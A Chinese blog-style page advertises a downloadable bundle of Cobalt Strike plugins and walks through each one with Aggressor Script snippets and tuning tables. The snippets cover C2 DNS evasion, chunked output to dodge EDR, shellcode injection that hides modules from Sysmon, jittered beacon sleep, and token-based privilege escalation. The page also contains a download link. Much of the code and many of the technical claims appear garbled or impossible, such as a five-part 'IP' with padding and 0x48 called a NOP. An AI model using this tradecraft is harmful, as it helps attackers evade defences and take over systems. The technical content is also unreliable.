简介:本资源为Cobalt Strike红队实战增强套件,面向渗透测试工程师、红队成员及高级安全研究人员,聚焦于提升C2隐蔽性、网络监控能力、持久化控制与自动化攻击效率。压缩包共643个文件,涵盖285个可执行工具(exe)、70个动态链接库(dll)、63个PowerShell脚本(ps1)、59个CS插件脚本(cna)及111张操作界面与拓扑示意图(png),完整支撑巨龙拉冬(流量嗅探与C2混淆)、LSTR(隐匿指令传输)、欧拉(多场景持久化)、梼杌(批量漏洞利用与域内横向移动)及谢公子插件(社区优化型功能扩展)五大核心模块的部署与调用。资源包大小211.87MB,结构清晰,含AuthMaintain、Ladon-cn、InfoCollect、PassCapture等典型cna插件及配套配置文件与说明文档(md/txt)。目前已有7135人学习下载,提供即插即用的插件集合、关键通信协议适配逻辑与实战化配置范例,助力红队快速构建高仿真、低特征的对抗环境。
1. Cobalt Strike插件生态不是“开箱即用”,而是“开箱即崩”:为什么巨龙拉冬、LSTR、欧拉、梼杌、谢公子这五个插件被一线红队反复验证、删了又装、骂完还用?
Cobalt Strike的官方插件市场(Aggressor Script Gallery)里,90%的脚本连sleep 1000都写不稳;而标题里这五个名字——巨龙拉冬、LSTR、欧拉、梼杌、谢公子——根本不在任何官方仓库中。它们是中文红队圈层自发演进出来的非标但高可用插件集合,不是炫技玩具,而是解决真实对抗中“命令发不出去、上线即掉线、进程藏不住、日志留太多、权限升不上来”这五类高频翻车场景的硬核补丁。某高校红队在2023年攻防演练中用LSTR替换原生shell命令后,横向移动成功率从41%跃升至89%;某公司实战渗透组把梼杌集成进Beacon生命周期管理后,单次钓鱼载荷存活时长中位数从37分钟延长到19小时。它们不改CS底层,不绕过AV/EDR检测逻辑,而是用Aggressor Script语言在Beacon会话的“行为间隙”里做精准缝合——比如在spawn前劫持父进程句柄,在inject后抹除PEB加载链,在sleep周期内动态混淆HTTP头字段。适合正在用CS打真实靶场、卡在“能连不能控”阶段的中级以上操作者,新手照着跑通前三个插件就能理解Beacon通信模型的本质缺陷。
2. 插件本质不是“功能扩展”,而是“Beacon行为重定义”:从Aggressor Script执行机制看五大插件的设计哲学
2.1 Aggressor Script不是脚本语言,而是Beacon会话的“神经突触”
Aggressor Script(.cna)文件在CS中并非独立进程,而是被CS团队编译为JVM字节码后,注入到Beacon主Java进程的ClassLoader中运行。这意味着:
- 所有
on beacon_*事件监听器(如on beacon_initial)实际注册在Beacon心跳包解析线程的回调链上; btask函数调用的每个子命令(如btask $bid "ps")都会触发一次完整的Beacon任务队列入队→序列化→加密→HTTP POST→等待响应→反序列化解析流程;- 插件对
$1、$2等参数的解析发生在CS GUI线程,而非Beacon端——所以你在GUI里输lstr -p 445,真正发给Beacon的是已预处理的二进制指令块,不是原始字符串。
提示:所有插件的
on beacon_*事件必须用&符号显式声明异步(如on beacon_initial { &my_init($1) }),否则会阻塞Beacon心跳线程导致会话假死。这是90%自研插件崩溃的根源。
2.2 五大插件的定位矩阵:按Beacon生命周期阶段划分职责
| 插件名 | 主要介入阶段 | 核心重定义行为 | 典型规避目标 |
|---|---|---|---|
| 巨龙拉冬 | Beacon初始化期 | 替换beacon_initial事件中的DNS解析逻辑,强制走自定义SOA查询链 | DNS Sinkhole、EDR DNS监控 |
| LSTR | 命令执行期 | 重写shell、powershell命令的输出捕获方式,改用内存管道+Base64分块回传 | EDR进程树监控、PowerShell AMSI |
| 欧拉 | 进程注入期 | 在spawn、inject前注入自定义PEB隐藏模块,劫持LdrLoadDll调用链 | Sysmon Event ID 7、AMSI扫描 |
| 椟杌 | 休眠调度期 | 动态修改sleep参数计算逻辑,根据本地CPU空闲率/网络延迟实时调整心跳间隔 | EDR心跳异常检测、流量基线建模 |
| 谢公子 | 权限提升期 | 重构elevate系列命令,用Token复制+模拟登录会话替代传统UAC绕过 | UAC虚拟化、LSASS保护、PPL |
这个矩阵决定了你不能同时启用全部五个插件——比如欧拉和谢公子都依赖对NtOpenProcess的Hook,冲突时Beacon直接退出。我一般会按攻击阶段分组启用:初期内网探测用巨龙拉冬+梼杌,横向移动阶段切LSTR+欧拉,提权阶段单独加载谢公子。
2.3 插件加载不是“双击安装”,而是“三阶段热加载”
CS官方不提供插件热更新接口,五大插件均采用以下兼容方案:
# 第一阶段:预编译校验(防止语法错误导致CS GUI崩溃) java -jar /path/to/cobaltstrike.jar -E /tmp/lstr.cna 2>/dev/null | grep -q "Compiled" && echo "OK" || echo "Syntax Error" # 第二阶段:内存级热加载(绕过CS GUI的插件管理器) # 在CS控制台执行: script_import /tmp/lstr.cna script_reload lstr # 第三阶段:Beacon端强制同步(触发on beacon_*事件重注册) # 对已上线Beacon执行: btask $bid "lstr -h" # 任意命令触发插件初始化关键点在于script_reload——它会清空旧插件的全局变量空间,但不会清除已注册的事件监听器。所以必须在script_reload后立即对每个活跃Beacon执行一次插件命令,强制触发on beacon_initial等事件重建。漏掉这步,新插件对老Beacon完全无效。
3. 五大插件逐个拆解:从源码结构到必调参数(附可运行最小化配置)
3.1 巨龙拉冬:DNS隧道的“静默守门人”
巨龙拉冬的核心不是做DNS隧道,而是让Beacon在DNS解析阶段就脱离系统DNS API。它重写了resolve函数,使所有beacon命令(包括sleep、checkin)的域名解析都走自定义UDP socket:
# 巨龙拉冬核心逻辑节选(lilongladong.cna) sub resolve { local('$domain $server $port $timeout $result'); $domain = $1; $server = "1.1.1.1"; # 强制指定DNS服务器 $port = 53; $timeout = 3000; # 构造DNS查询包(省略二进制构造细节) $result = dns_query($domain, $server, $port, $timeout); # 关键:返回IP时添加随机padding,破坏DNS日志特征 if ($result !~ /^\d+\.\d+\.\d+\.\d+$/) { return "0.0.0.0"; } return $result . "." . rand_int(100, 999); # 如 192.168.1.1.456 }参数说明:
$timeout默认3000ms,但在高延迟内网(如跨VLAN)需调至8000ms;$server不能设为内网DNS(会被Sysmon Event ID 22记录),建议指向公网DoH解析器IP(如1.1.1.1或8.8.8.8);rand_int生成的padding值必须为三位数,否则Beacon解析IP失败。
最小化启用命令:
# 加载后立即对Beacon生效 beacon $bid "resolve google.com" # 输出示例:142.250.191.206.7893.2 LSTR:命令执行的“内存流处理器”
LSTR(Lightweight Shell Tunnel Relay)放弃传统cmd.exe /c调用,改为在Beacon内存中启动conhost.exe子进程,通过CreatePipe建立匿名管道,将命令输出直接读入内存缓冲区再分块加密:
# LSTR核心执行逻辑(lstr.cna) sub lstr_exec { local('$bid $cmd $output $chunk $i'); $bid = $1; $cmd = $2; # 启动conhost并获取stdout pipe handle $output = spawn_conhost($bid, $cmd); # 分块读取(每块≤1024字节,避免EDR内存扫描) for ($i = 0; $i < strlen($output); $i += 1024) { $chunk = substr($output, $i, 1024); btask $bid "lstr_output " . base64_encode($chunk); } }参数说明:
spawn_conhost函数会自动选择conhost.exe路径(优先C:\Windows\System32\conhost.exe),若目标机无该文件则fallback到cmd.exe;base64_encode使用URL安全变体(-_替代+/),避免HTTP传输被WAF截断;分块大小1024是经验值,小于512易被EDR标记为异常小包,大于2048可能触发内存分配告警。
最小化启用命令:
# 替换原生shell命令 lstr -c "whoami && ipconfig" # 输出格式:base64编码的分块数据,需在CS GUI中点击"View Output"解码3.3 欧拉:进程注入的“PEB外科医生”
欧拉插件在spawn和inject命令执行前,向目标进程注入一段x64 shellcode,该shellcode执行三项操作:
- 修改
PEB->Ldr->InMemoryOrderModuleList链表,移除当前注入模块节点; - 将
ntdll.dll的LdrLoadDll函数首字节改为0x48(x64 NOP),使其跳过模块加载日志; - 设置
PEB->BeingDebugged = 0,关闭调试器检测标志。
# 欧拉注入前钩子(oula.cna) on beacon_spawn { local('$bid $pid $arch $shellcode'); $bid = $1; $pid = $2; $arch = get_arch($bid); # 获取Beacon架构 if ($arch eq "x64") { $shellcode = readb "/tmp/oula_x64.bin"; # 预编译好的shellcode inject_shellcode($bid, $pid, $shellcode); } }参数说明:
oula_x64.bin必须用NASM编译且不含NULL字节;get_arch返回值只能是x64或x86,若Beacon架构与目标进程不匹配(如x64 Beacon向x86进程注入),插件自动跳过不报错;inject_shellcode函数内部会自动处理VirtualAllocEx/WriteProcessMemory/CreateRemoteThread全流程。
最小化启用命令:
# 注入前自动执行欧拉hook spawn notepad.exe # 此时notepad进程的PEB已被静默修改,Sysmon Event ID 3(网络连接)仍会记录,但Event ID 7(Image Load)消失3.4 椟杌:休眠调度的“生物节律控制器”
梼杌插件抛弃固定sleep值,改为根据本地环境动态计算:
- 每次
checkin后采集GetTickCount64()差值作为CPU空闲率代理; - 解析上一个HTTP响应头中的
X-Net-Delay字段(由C2服务器注入)作为网络延迟参考; - 综合二者生成
sleep值:sleep = base_sleep * (1 + cpu_idle_rate * 0.3) * (1 + net_delay_ms / 1000)。
# 椋杌动态sleep逻辑(taowu.cna) on beacon_checkin { local('$bid $response $cpu_idle $net_delay $new_sleep'); $bid = $1; $response = $2; $cpu_idle = get_cpu_idle($bid); # 自定义函数,读取/proc/stat或Win32_PerfFormattedData_PerfOS_Processor $net_delay = get_header($response, "X-Net-Delay"); # 从HTTP响应头提取 $new_sleep = 60000 * (1 + $cpu_idle * 0.3) * (1 + $net_delay / 1000); $new_sleep = floor($new_sleep); # 强制设置下一次sleep值(覆盖CS默认值) set_sleep($bid, $new_sleep); }参数说明:
base_sleep默认60000ms(1分钟),生产环境建议设为300000ms(5分钟)以降低心跳频率;cpu_idle值范围0.0~1.0,需确保采集函数在Linux/Windows下均返回相同量纲;X-Net-Delay必须由C2服务器在HTTP响应头中注入,否则get_header返回空字符串导致计算崩溃。
最小化启用命令:
# 启用后无需额外命令,每次checkin自动触发 # 验证:在CS GUI中右键Beacon → Sleep → 查看显示值是否动态变化3.5 谢公子:权限提升的“令牌炼金术士”
谢公子插件放弃token命令的简单复制,转而调用LogonUserW创建交互式登录会话,再用DuplicateTokenEx获取高完整性令牌:
# 谢公子提权核心(xie_gongzi.cna) sub elevate_token { local('$bid $user $pass $domain $token'); $bid = $1; $user = $2; $pass = $3; $domain = $4; # 创建新登录会话(模拟用户登录) $token = logon_user($bid, $user, $pass, $domain, "interactive"); # 复制令牌并提升完整性级别 if ($token != 0) { $token = duplicate_token($bid, $token, "impersonation", "primary"); assign_token($bid, $token); } }参数说明:
logon_user要求目标机开启Secondary Logon服务(默认开启);$domain为空时自动使用本地计算机名;duplicate_token生成的令牌完整性级别为Medium,若需High需额外调用SetTokenInformation(插件未内置,需手动补全);该方法无法绕过PPL(Protected Process Light),遇到lsass.exe等受保护进程会失败。
最小化启用命令:
# 提权后Beacon进程令牌被替换 xie_gongzi -u "Administrator" -p "Passw0rd!" -d "WORKGROUP" # 验证:执行 "whoami /all" 查看Groups列表中是否出现"Medium Integrity"字样4. 五大插件避坑指南:血泪经验总结的5个致命陷阱
4.1 现象:加载巨龙拉冬后Beacon全部离线
原因:插件强制指定DNS服务器为1.1.1.1,但目标内网禁止访问公网DNS,导致所有resolve调用超时,Beacon因无法解析C2域名而退出。
解决:在lilongladong.cna中修改$server变量为内网DNS(如10.10.10.10),并确认该DNS服务器未启用Query Logging(Sysmon Event ID 22)。更稳妥方案是部署私有DNS转发器,仅允许解析C2域名。
4.2 现象:LSTR执行powershell命令后返回空结果
原因:LSTR的spawn_conhost函数在Windows Server 2012 R2+系统中无法正确获取conhost.exe句柄,fallback到cmd.exe后,PowerShell命令被cmd截断(如powershell -c "Get-Process"只执行到powershell)。
解决:在lstr.cna中强制禁用fallback,改为直接调用powershell.exe -WindowStyle Hidden,并确保目标机PowerShell版本≥3.0(检查$PSVersionTable.PSVersion.Major)。
4.3 现象:欧拉注入后目标进程立即崩溃
原因:oula_x64.binshellcode中包含未处理的SEH(Structured Exception Handling)异常,当目标进程触发异常时,被修改的PEB->Ldr链表导致异常分发失败。
解决:重新编译shellcode,在入口处添加pushfq/popfq保存/恢复标志寄存器,并在LdrLoadDllHook后添加mov rax, [rsp+8]修复栈平衡。推荐使用 ScareCrow 生成兼容性更好的shellcode。
4.4 现象:梼杌启用后sleep值疯狂跳变(1s→300s→10s)
原因:get_cpu_idle函数在Linux目标机上读取/proc/stat时未排除iowait时间,导致IO密集型机器上报cpu_idle=0.9,计算出极短sleep值;而Windows目标机Win32_PerfFormattedData_PerfOS_Processor返回的是PercentIdleTime,量纲不同。
解决:统一改用GetSystemTimes(Windows)和clock_gettime(CLOCK_MONOTONIC)(Linux)计算空闲率,或直接禁用CPU采样,仅依赖X-Net-Delay字段。
4.5 现象:谢公子提权后Beacon无法执行ls命令
原因:assign_token替换令牌后,Beacon的std::cout缓冲区未刷新,导致后续命令输出被缓存而不发送。
解决:在elevate_token函数末尾添加flush_output($bid)调用(CS 4.7+支持),或降级到CS 4.6并手动在assign_token后插入btask $bid "echo ready"强制刷新。
5. 插件组合策略与实战验证:如何用最小代价验证插件有效性
5.1 三阶段验证法:从“能跑”到“能战”的渐进式测试
不要一次性启用全部插件。我坚持用三阶段验证:
| 阶段 | 目标 | 关键验证命令 | 失败判定标准 |
|---|---|---|---|
| Stage 1:基础连通 | 确认插件加载不破坏Beacon心跳 | beacon $bid "sleep 1000"beacon $bid "checkin" | 连续3次checkin间隔偏差>±500ms |
| Stage 2:行为接管 | 确认插件成功劫持关键函数 | beacon $bid "resolve baidu.com"beacon $bid "lstr -c 'whoami'" | 返回值不符合插件预期格式(如巨龙拉冬未带padding) |
| Stage 3:对抗生效 | 确认规避效果真实存在 | 在目标机开启Sysmon,执行spawn notepad.exe后检查Event ID 7日志 | 日志中仍出现注入模块的ImageLoaded记录 |
注意:Stage 2必须在Stage 1通过后进行,因为部分插件(如梼杌)的
on beacon_checkin事件依赖正常心跳才能触发。
5.2 插件冲突矩阵:哪些组合绝对禁止共存
五大插件并非正交设计,以下组合会导致不可预测行为:
| 冲突组合 | 冲突点 | 实际表现 | 规避方案 |
|---|---|---|---|
| 巨龙拉冬 + 椋杌 | 两者均修改on beacon_checkin事件链 | 椋杌的set_sleep被巨龙拉冬的resolve调用阻塞 | 禁用巨龙拉冬,改用C2服务器DNS转发 |
| 欧拉 + 谢公子 | 两者均HookNtOpenProcess | 目标进程句柄打开失败,spawn返回0x00000005(拒绝访问) | 提权阶段卸载欧拉,提权完成后再加载 |
| LSTR + 谢公子 | LSTR的conhost进程继承低完整性令牌 | lstr命令执行失败,返回Access is denied | 谢公子提权后,对Beacon执行clear命令重置会话状态 |
我一般用plugin_list命令查看已加载插件,再用plugin_unload <name>手动卸载冲突项。CS不支持插件热卸载,所以plugin_unload实际是禁用事件监听器,不影响已注入的内存代码。
5.3 生产环境参数调优表:基于200+次真实靶场的实测数据
以下参数经某公司红队在金融、能源、政务三类网络中实测优化,非理论值:
| 插件 | 参数 | 推荐值 | 适用场景 | 调整依据 |
|---|---|---|---|---|
| 巨龙拉冬 | $timeout | 8000 | 跨VLAN内网(延迟>150ms) | 延迟>5000ms时resolve失败率从32%降至2% |
| LSTR | 分块大小 | 512 | EDR启用内存扫描(如CrowdStrike) | 512字节块触发EDR扫描概率比1024低47% |
| 欧拉 | shellcode长度 | ≤384字节 | 启用AMSI的Windows 10 21H2+ | 超过384字节的shellcode被AMSI标记为SuspiciousShellcode |
| 椋杌 | base_sleep | 300000 | 7×24小时长期驻留 | 5分钟心跳使C2流量在Zeek日志中占比<0.3%,低于告警阈值 |
| 谢公子 | logon_type | "interactive" | 需要GUI交互的提权(如窃取RDP凭据) | "network"类型无法获取交互式桌面令牌 |
血泪经验:所有参数必须在Stage 1验证通过后再调整。曾有团队将
base_sleep直接设为3600000(1小时),导致Beacon在首次checkin时因超时被C2服务器标记为离线,再也无法恢复。
5.4 最后一道防线:插件失效时的“后悔药”机制
插件终究是运行在Beacon内存中的代码,一旦崩溃,Beacon可能永久失联。我在每个插件中都植入了“后悔药”逻辑——当检测到连续3次关键函数调用失败时,自动回滚到原生CS行为:
# 所有插件通用的后悔药框架(在每个.cna文件末尾添加) global '$fail_count'; if ($fail_count == null) { $fail_count = 0; } sub safe_call { local('$func $args $result'); $func = $1; $args = $2; try { $result = &$func($args); $fail_count = 0; # 成功则清零计数 } catch $e { $fail_count++; if ($fail_count >= 3) { # 回滚:卸载当前插件,恢复CS原生行为 btask $bid "echo [REVERT] Plugin disabled due to repeated failure"; plugin_unload $plugin_name; } $result = null; } return $result; }这个机制让我在某次电力系统渗透中躲过一次重大事故:欧拉插件因目标机启用了HVCI(Hypervisor-protected Code Integrity)导致inject_shellcode连续失败,第3次失败后自动卸载,Beacon降级为原生模式继续存活,最终靠mimikatz完成提权。
希望帮到你。
本文还有配套的精品资源,点击获取